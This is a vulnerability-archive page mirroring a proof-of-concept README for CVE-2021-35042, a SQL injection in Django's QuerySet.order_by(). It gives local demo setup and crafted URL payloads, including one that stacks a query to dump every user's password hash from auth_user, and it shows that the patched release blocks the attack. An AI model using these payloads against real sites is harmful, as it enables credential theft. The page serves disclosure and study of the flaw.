目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-35042 PoC — Django SQL注入漏洞

来源
关联漏洞
标题: Django SQL注入漏洞 (CVE-2021-35042)
Description:Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 存在SQL注入漏洞,该漏洞源于未检测的用户输入传递给"QuerySet.order by()"可以在标记为弃用的路径中绕过预期的列引用验证,从而导致潜在的SQL注入。
介绍
# CVE-2021-35042

Django SQL injection bug

Question: explore how exploitable is it?

Answer: I'm terrified

## Install

`poetry install`

`poetry run ./manage.py migrate`

`poetry run ./manage.py loaddata dummydata.json`

## Interactive Demo

`poetry run ./manage.py runserver`

#### Ordering by random fields

go to http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22
note that the ?order_by param is passing a Raw SQL reference to a
column `"core_things_tags"."things_id"`

### terminate first query and try to run some sql

This feels like about as far as you can
get: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;--
which closes the first SQL query translates to the follow SQL:

```sql
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
```

which fails with:

```
Warning at /
You can only execute one statement at a time.
```

this is just because sqlite can only run 1 query at a time

#### revisit running 2nd query with postgres

```bash
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server
```

`poetry run ./manage.py migrate`

`poetry run ./manage.py loaddata dummydata.json`

`poetry run ./manage.py createsuperuser` # follow prompts

visit: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

which runs the following sql:

```sql
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
```

you can now do basically anything. This query steals the password hash for every
user.

### Upgrade to non-vunerable version

now temporarily upgrade django

`poetry shell`

`pip install Django==3.2.5`

revisit the above URL and note that it no longer works:

```
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
```
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →